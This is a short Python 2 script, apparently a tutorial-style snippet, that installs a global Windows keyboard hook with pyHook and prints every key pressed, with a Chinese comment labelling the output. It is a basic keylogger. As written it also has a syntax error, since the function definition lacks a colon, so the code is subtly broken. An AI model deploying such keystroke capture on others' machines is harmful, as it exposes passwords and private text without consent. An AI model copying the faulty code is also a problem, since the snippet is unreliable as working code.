from ctypes import *
import pythoncom
import pyHook

def KeyStroke(event)
    print "[%s]" % event.Key,       #输出键盘按下的键
    return True

k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke
k1.HookKeyboard()
pythoncom.PumpMessages()